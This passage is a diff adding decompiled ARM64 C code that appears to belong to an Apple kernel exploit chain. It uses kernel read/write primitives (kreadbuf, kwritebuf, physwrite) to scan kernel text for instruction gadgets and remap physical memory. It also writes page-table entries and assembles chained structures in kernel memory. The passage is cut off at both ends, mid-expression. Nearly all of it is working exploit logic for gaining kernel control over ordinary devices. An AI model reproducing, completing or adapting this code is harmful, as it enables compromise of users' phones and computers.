**)inputStruct; + do + v49 = *v48++; + while ( v49 != 0x7777777777777700LL ); + v50 = v48[0xFFFFFFFB]; + *((_QWORD *)v4 + 0x26) = v50; + v51 = v48[0xFFFFFFFC] - v50; + *((_QWORD *)v4 + 0x25) = v41; + *((_QWORD *)v4 + 0x27) = v50 - v41; + *((_QWORD *)v4 + 0x28) = v51; + *((_QWORD *)v4 + 0x24) = *v48; + *((_QWORD *)v4 + 0x23) = v48[7]; + sub_38BCC(a1); + v52 = *((_QWORD *)v4 + 0x21); + v53 = *((_QWORD *)v4 + 0x27); + v54 = *(unsigned int *)(a1 + 0x180); + LODWORD(outputStruct) = 3; + LODWORD(input[0]) = 3; + v55 = vm_allocate(mach_task_self_, address, v53, 1); + if ( v55 ) + { +LABEL_81: + v7 = v55 | 0x80000000; + goto LABEL_26; + } + if ( v53 >= v54 ) + { + v56 = 0LL; + if ( v53 / v54 <= 1 ) + v57 = 1LL; + else + v57 = v53 / v54; + while ( 1 ) + { + v58 = physwrite_maybe(a1, v52 + v56 * *(unsigned int *)(a1 + 0x180), src_address); + if ( (_DWORD)v58 ) + break; + v59 = *(unsigned int *)(a1 + 0x180); + target_address[0] = address[0] + v56 * v59; + v55 = vm_remap( + mach_task_self_, + target_address, + v59, + 0LL, + 0x4000, + mach_task_self_, + src_address[0], + 0, + (vm_prot_t *)&outputStruct, + (vm_prot_t *)input, + 1u); + if ( v55 ) + goto LABEL_81; + if ( ++v56 == v57 ) + goto LABEL_89; + } + v7 = v58; + goto LABEL_26; + } +LABEL_89: + v60 = 0LL; + v61 = 0LL; + *((_QWORD *)v4 + 0x29) = address[0]; + *((_QWORD *)v4 + 0x2A) = v53; + v62 = *(_QWORD *)(a1 + 0x1D58); + v63 = *(_QWORD *)(v62 + 0x128); + v64 = *((_QWORD *)v4 + 0x22); + v65 = *(_QWORD *)(v62 + 0x148); + v66 = (unsigned __int8 *)(*((_QWORD *)v4 + 0x24) - v63 + v65); + v67 = (unsigned __int8 *)(*((_QWORD *)v4 + 0x23) - v63 + v65); + do + { + v68 = *v66++; + v64 |= (unsigned __int64)v68 << v60; + *((_QWORD *)v4 + 0x22) = v64; + v69 = *v67++; + v61 |= (unsigned __int64)v69 << v60; + v60 += 8LL; + } + while ( v60 != 0x40 ); + v70 = sub_18B14(); + *((_QWORD *)v4 + 0x20) = v70; + if ( !v70 ) + goto LABEL_26; + v71 = sub_18B14(); + *((_QWORD *)v4 + 0x4A) = v71; + if ( !v71 ) + goto LABEL_26; + v343 = xmmword_43060; + *(_OWORD *)v316 = xmmword_43070; + v72 = sub_18D68(a1, &v343, v316, 4uLL); + if ( !v72 + || ((v74 = *((_DWORD *)v72 + 2), + v75 = *((unsigned int *)v72 + 3), + v73 = v72 + 8, + v76 = (v75 >> 0xA) & 0xFFF, + (v75 & 0x40000000) == 0) + ? (v77 = 2) + : (v77 = 3), + (unsigned int)sub_18DF0( + a1, + (v76 << v77) + + (int)(((v74 >> 3) & 0xFFFFFFFC | (v74 >> 0x1D) & 3) << 0xC) + + ((unsigned __int64)&v73[*(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x128LL) + - *(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x148LL)] & 0xFFFFFFFFFFFFF000LL), + inputStruct)) ) + { + *((_QWORD *)v4 + 0x2B) = 0LL; + goto LABEL_26; + } + v220 = *(_QWORD *)inputStruct == 0xFFFFFFFFFFFFFFB8LL; + *((_QWORD *)v4 + 0x2B) = *(_QWORD *)inputStruct + 0x48LL; + if ( v220 ) + goto LABEL_26; + v78 = *(_QWORD **)(a1 + 0x1D58); + v80 = (char *)v78[0x29]; + v79 = v78[0x2A]; + v81 = (unsigned __int64)&v80[v79]; + if ( v80 >= &v80[v79] ) + goto LABEL_144; + v82 = 0LL; + while ( *(_DWORD *)&v80[v82] != 0xD53BD061 ) + { + v82 += 4LL; + if ( (unsigned __int64)&v80[v82] >= v81 ) + goto LABEL_144; + } + if ( (unsigned __int64)&v80[v82 + 4] >= v81 ) + { +LABEL_144: + *((_QWORD *)v4 + 0x2C) = 0LL; + goto LABEL_26; + } + v92 = v78[0x25]; + *((_QWORD *)v4 + 0x2C) = v92 + v82; + if ( !(v92 + v82) ) + goto LABEL_26; + *(_QWORD *)&v343 = 0xD65F03C0F8226801LL; + *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; + v93 = sub_18D68(a1, &v343, v316, 2uLL); + if ( !v93 ) + { + *((_QWORD *)v4 + 0x2D) = 0LL; + goto LABEL_26; + } + *((_QWORD *)v4 + 0x2D) = v93 - v80 + v92; + if ( !(v93 - v80 + v92) ) + goto LABEL_26; + while ( 1 ) + { + v94 = *(_DWORD *)v80; + v80 += 4; + if ( v94 == 0x910443E1 ) + break; + v92 += 4LL; + if ( (unsigned __int64)v80 >= v81 ) + goto LABEL_172; + } + if ( (unsigned __int64)v80 >= v81 ) + { +LABEL_172: + *((_QWORD *)v4 + 0x2E) = 0LL; + goto LABEL_26; + } + *((_QWORD *)v4 + 0x2E) = v92; + if ( !v92 ) + { +LABEL_26: + v1 = v7; + goto LABEL_27; + } + v344[0] = 0LL; + v343 = 0uLL; + *(_DWORD *)((char *)v344 + 7) = 0; + v98 = calloc(*(unsigned int *)(a1 + 0x180), 1uLL); + if ( !v98 ) + { +LABEL_213: + *((_QWORD *)v4 + 0x30) = 0LL; + goto LABEL_26; + } + v99 = v98; + v100 = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); + if ( v100 ) + v101 = 0xFFFFFC200008C000LL; + else + v101 = 0xFFFFFFA00008C000LL; + if ( v100 ) + v102 = 0xFFFFFC2000020000LL; + else + v102 = 0xFFFFFFA000020000LL; + v103 = v102; + do + { + v104 = sub_18EA4(a1, v103, 0LL, 0); + if ( !v104 ) + { + v106 = *(unsigned int *)(a1 + 0x180); + *((_BYTE *)&v344[0xFFFFFFFE] + (v103 - v102) / v106) = 0xFF; + goto LABEL_169; + } + if ( (unsigned int)physwrite_maybe(a1, v104, inputStruct) ) + { +LABEL_212: + free(v99); + goto LABEL_213; + } + v105 = *(unsigned int *)(a1 + 0x180); + if ( !memcmp(*(const void **)inputStruct, v99, v105) ) + *((_BYTE *)&v344[0xFFFFFFFE] + (v103 - v102) / v105) = 1; + sub_38BCC(a1); + v106 = *(unsigned int *)(a1 + 0x180); +LABEL_169: + v103 += v106; + } + while ( v103 < v101 ); + if ( BYTE13(v343) == 1 ) + { + v107 = v102 + 0xD * v106; + free(v99); + *((_QWORD *)v4 + 0x30) = v107; + goto LABEL_191; + } + v115 = 0LL; + while ( v115 != 0xD ) + { + v116 = *((unsigned __int8 *)&v343 + v115++ + 0xE); + if ( v116 == 1 ) + { + v117 = v115 + 0xD; + goto LABEL_190; + } + } + v117 = 0xCLL; + while ( *((_BYTE *)&v344[0xFFFFFFFE] + v117) != 1 ) + { + if ( !--v117 ) + goto LABEL_212; + } +LABEL_190: + v118 = v102 + v117 * v106; + free(v99); + *((_QWORD *)v4 + 0x30) = v118; + if ( !v118 ) + goto LABEL_26; +LABEL_191: + v119 = *(_QWORD **)(a1 + 0x1D58); + v343 = xmmword_43080; + LODWORD(v344[0]) = 0x14000000; + *(_OWORD *)v316 = xmmword_43090; + *(_DWORD *)&v316[0x10] = 0xFC000000; + v120 = sub_18D68(a1, &v343, v316, 5uLL); + if ( !v120 ) + { + *((_QWORD *)v4 + 0x33) = 0LL; + goto LABEL_26; + } + v121 = v119[0x29]; + v122 = v119[0x25]; + v123 = &v120[v122 - v121]; + v125 = *((_DWORD *)v120 + 1); + v124 = v120 + 4; + v126 = ((unsigned __int64)v125 >> 3) & 0x1FFFFC; + v127 = ((unsigned __int64)v125 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL; + if ( (((unsigned __int64)v125 >> 3) & 0x100000) != 0 ) + v128 = v127; + else + v128 = v126; + v129 = (unsigned __int64)&v124[v122 - v121 + v128]; + if ( !(unsigned int)sub_18DF0(a1, v129, (_QWORD *)v4 + 0x34) && krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) + v119[0x38] = v129; + *((_QWORD *)v4 + 0x33) = v123; + if ( !v123 || !*((_QWORD *)v4 + 0x34) || krw_ctx_has_flag((_DWORD *)a1, 0x4000) && !*((_QWORD *)v4 + 0x38) ) + goto LABEL_26; + *(_QWORD *)inputStruct = 0xD5033FDFD5033F9FLL; + *(_DWORD *)&inputStruct[8] = 0xD65F03C0; + *(_QWORD *)&v343 = 0xFFFFFFFFFFFFFFFFLL; + DWORD2(v343) = 0xFFFFFFFF; + v130 = sub_18D68(a1, inputStruct, &v343, 3uLL); + if ( !v130 ) + { + *((_QWORD *)v4 + 0x35) = 0LL; + goto LABEL_26; + } + v131 = *(_QWORD **)(a1 + 0x1D58); + v132 = (char *)v131[0x29]; + v133 = v131[0x25]; + *((_QWORD *)v4 + 0x35) = v130 - v132 + v133; + if ( !(v130 - v132 + v133) ) + goto LABEL_26; + v134 = &v132[v131[0x2A]]; + if ( v132 >= v134 ) + goto LABEL_249; + while ( 1 ) + { + v135 = *(_DWORD *)v132; + v132 += 4; + if ( v135 == 0x14000000 ) + break; + v133 += 4LL; + if ( v132 >= v134 ) + goto LABEL_249; + } + if ( v132 >= v134 ) + { +LABEL_249: + *((_QWORD *)v4 + 0x36) = 0LL; + goto LABEL_26; + } + *((_QWORD *)v4 + 0x36) = v133; + if ( !v133 ) + goto LABEL_26; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) + goto LABEL_221; + v343 = xmmword_430A0; + *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)&v316[8] = 0xFFFFFFFFFFFFFFFFLL; + v137 = sub_18D68(a1, &v343, v316, 4uLL); + if ( !v137 ) + { + *((_QWORD *)v4 + 0x37) = 0LL; + goto LABEL_26; + } + v138 = &v137[*(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x128LL) - *(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x148LL)]; + *((_QWORD *)v4 + 0x37) = v138; + if ( !v138 ) + goto LABEL_26; +LABEL_221: + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) + goto LABEL_269; + *(_OWORD *)inputStruct = xmmword_430B0; + *(_QWORD *)&inputStruct[0x10] = 0xD50040BFLL; + v343 = xmmword_430C0; + v344[0] = 0xFFFFFFFFLL; + v139 = sub_18D68(a1, inputStruct, &v343, 6uLL); + if ( !v139 ) + { + *((_QWORD *)v4 + 0x3C) = 0LL; + goto LABEL_26; + } + v140 = *(unsigned int *)v139; + v141 = (v140 >> 3) & 0x1FFFFC | (v140 >> 0x1D) & 3; + if ( ((v140 >> 3) & 0x100000) != 0 ) + v141 |= 0xFFFFFFFFFFF00000LL; + v142 = *(_QWORD *)(a1 + 0x1D58); + v143 = *(_QWORD *)(v142 + 0x148); + v144 = *(_QWORD *)(v142 + 0x128); + v145 = &v139[v144 - v143 + v141]; + if ( (unsigned int)v140 >> 5 == 0x6A8C600 ) + { +LABEL_230: + v149 = *((_DWORD *)v139 + 0xFFFFFFFE); + v148 = v139 + 0xFFFFFFF8; + v150 = ((unsigned __int64)v149 >> 3) & 0x1FFFFC | ((unsigned __int64)v149 >> 0x1D) & 3; + v151 = v150 | 0xFFFFFFFFFFF00000LL; + if ( (((unsigned __int64)v149 >> 3) & 0x100000) == 0 ) + v151 = v150; + *((_QWORD *)v4 + 0x39) = &v148[v144 - v143 + v151]; + } + else + { + v146 = 0LL; + while ( (_DWORD)v146 != 0x70 ) + { + v147 = *(_DWORD *)&v139[v146 + 4] & 0xFFFFFFE0; + v146 += 4LL; + if ( v147 == 0xD518C000 ) + { + v139 += v146; + goto LABEL_230; + } + } + } + *((_QWORD *)v4 + 0x3C) = v145; + if ( !v145 || !*((_QWORD *)v4 + 0x39) ) + goto LABEL_26; + *(_QWORD *)&v343 = 0xD65F03C000201421LL; + *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; + v152 = sub_18D68(a1, &v343, v316, 2uLL); + if ( !v152 ) + { + *((_QWORD *)v4 + 0x3A) = 0LL; + goto LABEL_26; + } + v153 = *(_QWORD *)(v142 + 0x128); + *((_QWORD *)v4 + 0x3A) = &v152[v153 - v143]; + if ( !&v152[v153 - v143] ) + goto LABEL_26; + v343 = xmmword_430D0; + LODWORD(v344[0]) = 0x28C1783D; + *(_OWORD *)v316 = xmmword_430E0; + *(_DWORD *)&v316[0x10] = 0xFFFFFFFF; + v154 = sub_18D68(a1, &v343, v316, 5uLL); + if ( !v154 ) + { + *((_QWORD *)v4 + 0x3B) = 0LL; + goto LABEL_26; + } + *((_QWORD *)v4 + 0x3B) = &v154[v153 - v143]; + if ( !&v154[v153 - v143] ) + goto LABEL_26; + *(_QWORD *)&v343 = 0x201400A8C17BFDLL; + *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; + v155 = sub_18D68(a1, &v343, v316, 2uLL); + if ( !v155 ) + { + *((_QWORD *)v4 + 0x3D) = 0LL; + goto LABEL_26; + } + *((_QWORD *)v4 + 0x3D) = &v155[v153 - v143]; + if ( !&v155[v153 - v143] ) + goto LABEL_26; + v343 = xmmword_430F0; + *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)&v316[8] = 0xFFFFFFFFFFFFFFFFLL; + v156 = sub_18D68(a1, &v343, v316, 4uLL); + if ( !v156 ) + { + *((_QWORD *)v4 + 0x3E) = 0LL; + goto LABEL_26; + } + *((_QWORD *)v4 + 0x3E) = &v156[v153 - v143]; + if ( !&v156[v153 - v143] ) + goto LABEL_26; + *(_QWORD *)inputStruct = 0xD53800A2LL; + *(_DWORD *)&inputStruct[8] = 0xAA0003E5; + *(_QWORD *)&v343 = 0xFFFFFFFFLL; + DWORD2(v343) = 0xFFFFFFFF; + v157 = sub_18D68(a1, inputStruct, &v343, 3uLL); + if ( !v157 + || ((v158 = v157, + v159 = (unsigned __int64 *)(v4 + 0x82), + v160 = *((unsigned int *)v157 + 4), + ((v160 >> 3) & 0x100000) != 0) + ? (v161 = (v160 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL) + : (v161 = (v160 >> 3) & 0x1FFFFC), + v162 = (unsigned __int64)&v157[v153 - v143 + 0x10 + v161], + *v159 = v162, + (unsigned int)sub_18DF0(a1, v162, (_QWORD *)v4 + 0x41)) ) + { + *((_QWORD *)v4 + 0x3F) = 0LL; + goto LABEL_26; + } + v163 = &v158[v153 - v143]; + *((_QWORD *)v4 + 0x3F) = v163; + if ( !v163 || !*v159 ) + goto LABEL_26; + v343 = xmmword_43100; + LODWORD(v344[0]) = 0xD63F0100; + *(_OWORD *)v316 = xmmword_43110; + *(_DWORD *)&v316[0x10] = 0xFFFFFFFF; + v164 = sub_18D68(a1, &v343, v316, 5uLL); + if ( !v164 ) + { + *((_QWORD *)v4 + 0x40) = 0LL; + goto LABEL_26; + } + v165 = *(_QWORD *)(a1 + 0x1D58); + v166 = *(_QWORD *)(v165 + 0x148); + v167 = *(_QWORD *)(v165 + 0x128); + *((_QWORD *)v4 + 0x40) = &v164[v167 - v166]; + if ( !&v164[v167 - v166] ) + goto LABEL_26; + v343 = xmmword_43120; + *(_OWORD *)v316 = xmmword_43130; + v168 = sub_18D68(a1, &v343, v316, 4uLL); + if ( !v168 + || ((v170 = *((_DWORD *)v168 + 1), + v169 = v168 + 4, + v171 = ((unsigned __int64)v170 >> 3) & 0x1FFFFC, + v172 = ((unsigned __int64)v170 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL, + (((unsigned __int64)v170 >> 3) & 0x100000) != 0) + ? (v173 = v172) + : (v173 = v171), + *(_QWORD *)inputStruct = &v169[v167 - v166 + v173], + (unsigned int)sub_18DF0(a1, *(unsigned __int64 *)inputStruct, inputStruct)) ) + { + *((_QWORD *)v4 + 0x42) = 0LL; + goto LABEL_26; + } + v174 = *(_QWORD *)inputStruct; + *((_QWORD *)v4 + 0x42) = *(_QWORD *)inputStruct; + if ( !v174 ) + goto LABEL_26; + *(_OWORD *)(v4 + 0x86) = xmmword_43140; + *(_OWORD *)(v4 + 0x8A) = xmmword_43150; + *(_OWORD *)(v4 + 0x8E) = xmmword_43160; + *((_QWORD *)v4 + 0x49) = 0xFFFFFFF002018000LL; +LABEL_269: + v175 = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); + v176 = 0xFFFFFC2000000000LL; + if ( !v175 ) + v176 = 0xFFFFFFA000000000LL; + v177 = vdup_n_s32(!v175); + v178.i64[0] = v177.u32[0]; + v178.i64[1] = v177.u32[1]; + *((_QWORD *)v4 + 0x2F) = v176; + *(int8x16_t *)(v4 + 0x62) = vbslq_s8( + (int8x16_t)vshrq_n_s64(vshlq_n_s64(v178, 0x3FuLL), 0x3FuLL), + (int8x16_t)xmmword_43180, + (int8x16_t)xmmword_43170); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x29), *((_QWORD *)v4 + 0x2A)); + *((_QWORD *)v4 + 0x29) = 0LL; + *((_QWORD *)v4 + 0x2A) = 0LL; + v1 = sub_18FCC(a1, *((_QWORD *)v4 + 0x30), (_QWORD *)v4 + 0x4B); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_18FCC(a1, *((_QWORD *)v4 + 0x2F), (_QWORD *)v4 + 0x55); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = 0xAD009LL; + v179 = *(_QWORD **)(a1 + 0x1D58); + LODWORD(size[0]) = 0x4000; + v180 = sub_37210(a1, (unsigned int *)size); + if ( !v180 ) + goto LABEL_27; + v181 = v180; + sub_2183C(a1, v180 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v183 || (v184 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) ) + { +LABEL_318: + sub_36E4C(a1, v181, LODWORD(size[0])); + v1 = v182; + goto LABEL_27; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) + v185 = sub_3796C(a1, size); + else + v185 = sub_37210(a1, (unsigned int *)size); + v186 = v185; + if ( !v185 ) + { + v182 = 0xAD009LL; + goto LABEL_318; + } + sub_2183C(a1, v185 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v187 ) + goto LABEL_317; + v188 = src_address[4] & 0xFFFFFFFFC000LL; + if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_317; + v300 = sub_37210(a1, (unsigned int *)size); + if ( !v300 ) + { + v182 = 0xAD009LL; +LABEL_317: + sub_36E4C(a1, v186, LODWORD(size[0])); + goto LABEL_318; + } + sub_2183C(a1, v300, (__int64)&v343); + if ( !v189 ) + { + v182 = 0xFFFFFFFFLL; +LABEL_316: + sub_36E4C(a1, v300, LODWORD(size[0])); + goto LABEL_317; + } + *(_QWORD *)v295 = v343; + if ( !(unsigned int)kreadbuf_last_1(a1, v343, 8LL, (__int64)target_address) ) + { + v182 = 0x2800FLL; + goto LABEL_316; + } + sub_2183C(a1, *(_QWORD *)v295 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v190 ) + goto LABEL_316; + v288 = src_address[4]; + if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_316; + v290 = sub_37210(a1, (unsigned int *)size); + if ( !v290 ) + { + v182 = 0xAD009LL; + goto LABEL_316; + } + sub_2183C(a1, v290, (__int64)&v343); + if ( !v191 ) + { + v182 = 0xFFFFFFFFLL; + goto LABEL_315; + } + sub_2183C(a1, v343 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v192 || (v287 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) ) + { +LABEL_315: + sub_36E4C(a1, v290, LODWORD(size[0])); + goto LABEL_316; + } + if ( !(unsigned int)kreadbuf_last_1(a1, v179[0x4A], 0x40LL, (__int64)inputStruct) ) + { + v182 = 0x2800FLL; + goto LABEL_315; + } + if ( !(unsigned int)kwritebuf_last_1(a1, v181, (__int64)inputStruct, 0x40LL) + || (*(_QWORD *)v316 = v188 | 3, !(unsigned int)kwritebuf_last_1(a1, v181 + 0x38, (__int64)v316, 8LL)) + || (address[0] = v288 & 0xFFFFFE000000LL | 0x20000000000445LL, + !(unsigned int)kwritebuf_last_1(a1, v186, (__int64)address, 8LL)) ) + { + v182 = 0x28010LL; + goto LABEL_315; + } + v193 = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); + v194 = 0xFFFFFC7000000000LL; + if ( !v193 ) + v194 = 0xFFFFFFF000000000LL; + v286 = v194; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x80000) ) + { + v195 = sub_3796C(a1, size); + if ( v195 ) + { + v196 = v195; + sub_2183C(a1, v195 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( v197 ) + { + v285 = src_address[4] & 0xFFFFFFFFC000LL; + if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 ) + { + sub_18EA4(a1, v179[0x32], &outputStruct, 1); + if ( outputStruct ) + { + sub_2183C(a1, outputStruct & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( v198 ) + { + v284 = src_address[4]; + if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 ) + { + address[0] = src_address[4] & 0xFFFFFE000000LL | 0x20000000000445LL; + if ( (unsigned int)kwritebuf_last_1(a1, v186 + 8, (__int64)address, 8LL) ) + { + if ( (unsigned int)kreadbuf_last_1(a1, outputStruct, 8LL, (__int64)input) ) + { + v199 = input[0] & 0xFFFF000000003FFFLL | v285; + v200 = *(_QWORD *)(a1 + 0x188); + v179[0x66] = (v286 | v284 & 0x1FFC000 | 0x2000000) + (v200 & outputStruct); + v179[0x67] = v199; + goto LABEL_320; + } + v182 = 0x2800FLL; + } + else + { + v182 = 0x28010LL; + } + } + } + } + else + { + v182 = 0xFFFFFFFFLL; + } + } + } + sub_36E4C(a1, v196, LODWORD(size[0])); + } + else + { + v182 = 0xAD009LL; + } + goto LABEL_315; + } + v200 = *(_QWORD *)(a1 + 0x188); +LABEL_320: + v201 = target_address[0] & 0xFFFF000000003FFFLL | v287; + v179[0x5F] = v184; + v179[0x60] = v181; + v179[0x61] = v186; + v179[0x62] = v286; + v179[0x63] = *(_QWORD *)v295; + v179[0x64] = (v286 | v288 & 0x1FFC000) + (v200 & *(_QWORD *)v295); + v179[0x65] = v201; + v179[0xA2] = ((v290 >> 0xB) & 0x3FF8) + v300; + v179[0xA3] = v290; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) + { +LABEL_382: + v232 = krw_ctx_has_flag((_DWORD *)a1, 0x4000); + v233 = *(_QWORD *)(a1 + 0x1D58); + v234 = *(_QWORD **)(v233 + 0x258); + v235 = *(_QWORD *)(v233 + 0x260); + if ( v232 ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x2711FFFFFFFFFFuLL ) + v236 = 0x340LL; + else + v236 = 0x350LL; + v1 = physwrite_maybe(a1, 0x23B080000LL, inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_431; + v303 = *(_QWORD *)inputStruct; + v237 = *(_QWORD *)(v233 + 0x3A8); + v294 = *(_QWORD **)(v233 + 0x450); + *(_QWORD *)v299 = *(_QWORD *)(v233 + 0x3E0); + v238 = *(_DWORD *)(a1 + 0x180); + v1 = sub_18DF0(a1, *(_QWORD *)(v233 + 0x158), src_address); + if ( (_DWORD)v1 ) + goto LABEL_430; + v239 = src_address[0]; + v240 = (char *)v234 + LOBYTE(src_address[0]); + v241 = v240 + 0xC00; + v242 = v235 + LOBYTE(src_address[0]) + 0xC00; + v243 = 0x3200LL - LOBYTE(src_address[0]); + v244 = *(_QWORD *)(v233 + 0x370); + v234[0x7C0] = *(_QWORD *)(v233 + 0x170); + v234[0x7C1] = 0x3C4LL; + v234[0x7D9] = v242 + 5 * v236; + v234[0x7DA] = *(_QWORD *)(v233 + 0x1E0); + v234[0x7DB] = v239; + *((_QWORD *)v240 + 0x180) = *(_QWORD *)(v233 + 0x178); + *((_QWORD *)v240 + 0x182) = 0LL; + *((_QWORD *)v240 + 0x181) = 0LL; + *((_QWORD *)v240 + 0x19E) = *(_QWORD *)(v233 + 0x170); + *((_QWORD *)v240 + 0x19F) = v242 + v236; + if ( *(_BYTE *)v233 ) + v245 = *(_QWORD *)(v233 + 0x168); + else + v245 = *(_QWORD *)(v233 + 0x168) + 4LL; + *((_QWORD *)v240 + 0x1A0) = v245; + *(_OWORD *)(v240 + 0xD08) = xmmword_431D0; + *((_QWORD *)v240 + 0x1A3) = 0x10LL; + v246 = &v241[v236]; + *(_QWORD *)v246 = *(_QWORD *)(v233 + 0x350); + *((_QWORD *)v246 + 0x1E) = *(_QWORD *)(v233 + 0x170); + *((_QWORD *)v246 + 0x20) = *(_QWORD *)(v233 + 0x1D0); + *(_OWORD *)&v241[v236 + 0x108] = xmmword_431D0; + *((_QWORD *)v246 + 0x23) = 0x10LL; + v247 = (__int64)&v241[v236 + v236]; + *(_QWORD *)v247 = *(_QWORD *)(v233 + 0x1C0); + *(_QWORD *)(v247 + 8) = *(_QWORD *)(v233 + 0x360); + *(_QWORD *)(v247 + 0x10) = 0LL; + *(_QWORD *)(v247 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v247 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v247 + 0x108) = xmmword_431D0; + *(_QWORD *)(v247 + 0x118) = 0x10LL; + v248 = v247 + v236; + *(_QWORD *)v248 = *(_QWORD *)(v233 + 0x158); + *(_QWORD *)(v248 + 8) = v239; + *(_QWORD *)(v248 + 0x10) = 0LL; + *(_QWORD *)(v248 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v248 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v248 + 0x108) = xmmword_431D0; + *(_QWORD *)(v248 + 0x118) = 0x10LL; + v249 = (_QWORD *)(v248 + v236); + *v249 = *(_QWORD *)(v233 + 0x340) + 0xE0LL; + v249[0x1E] = *(_QWORD *)(v233 + 0x1B0); + v249[0x20] = *(_QWORD *)(v233 + 0x1D8); + *(_OWORD *)(v248 + v236 + 0x108) = xmmword_431D0; + v249[0x23] = 0x10LL; + v250 = v248 + v236 + v236; + *(_QWORD *)v250 = 0LL; + *(_QWORD *)(v250 + 0x100) = *(_QWORD *)(v233 + 0x160); + *(_OWORD *)(v250 + 0x108) = xmmword_431E0; + *(_QWORD *)(v250 + 0x118) = 0x10LL; + if ( v236 - (__int64)v241 + v250 > v243 ) + { + v1 = 0xFFFFFFFFLL; + goto LABEL_430; + } + v269 = (_QWORD *)(*(_QWORD *)v299 + (unsigned int)(v238 - 0x10)); + *(_QWORD *)v244 = *(_QWORD *)(v233 + 0x228) + 0xE0LL; + *(_QWORD *)(v244 + 8) = *(_QWORD *)(v233 + 0x1A0) + 0xE0LL; + *(_QWORD *)(v244 + 0x10) = 0x38LL; + *(_QWORD *)(v244 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v244 + 0x100) = *(_QWORD *)(v233 + 0x1F0); + *(_OWORD *)(v244 + 0x108) = xmmword_431D0; + *(_QWORD *)(v244 + 0x118) = 0x10LL; + v270 = v244 + v236; + *(_QWORD *)v270 = *(_QWORD *)(v233 + 0x228) + 0x108LL; + *(_QWORD *)(v270 + 8) = *(_QWORD *)(v233 + 0x2F8); + *(_QWORD *)(v270 + 0x10) = 0LL; + *(_QWORD *)(v270 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v270 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v270 + 0x108) = xmmword_431D0; + *(_QWORD *)(v270 + 0x118) = 0x10LL; + v271 = v270 + v236; + *(_QWORD *)v271 = *(_QWORD *)(v233 + 0x208); + *(_QWORD *)(v271 + 8) = *(_QWORD *)(v233 + 0x228); + *(_QWORD *)(v271 + 0x10) = 0LL; + *(_QWORD *)(v271 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v271 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v271 + 0x108) = xmmword_431D0; + *(_QWORD *)(v271 + 0x118) = 0x10LL; + v272 = v271 + v236; + *(_QWORD *)v272 = 0LL; + *(_QWORD *)(v272 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); + *(_QWORD *)(v272 + 0x100) = *(_QWORD *)(v233 + 0x160); + *(_OWORD *)(v272 + 0x108) = xmmword_431E0; + *(_QWORD *)(v272 + 0x118) = 0x10LL; + *v294 = *(_QWORD *)(v233 + 0x1F8); + v294[1] = 0LL; + *(_QWORD *)v237 = *(_QWORD *)(v233 + 0x358); + *(_QWORD *)(v237 + 0xA0) = 0LL; + *(_QWORD *)(v237 + 0xE0) = *(_QWORD *)(v233 + 0x248) - 8LL; + *(_QWORD *)(v237 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); + *(_QWORD *)(v237 + 0x100) = *(_QWORD *)(v233 + 0x1D0); + *(_OWORD *)(v237 + 0x108) = xmmword_431E0; + *(_QWORD *)(v237 + 0x118) = 0x10LL; + *v269 = 0LL; + v269[1] = *(_QWORD *)(v233 + 0x170); + v273 = *(_QWORD *)(v233 + 0x418); + *(_QWORD *)v273 = *(_QWORD *)(v233 + 0x1C0); + *(_QWORD *)(v273 + 8) = *(_QWORD *)(v233 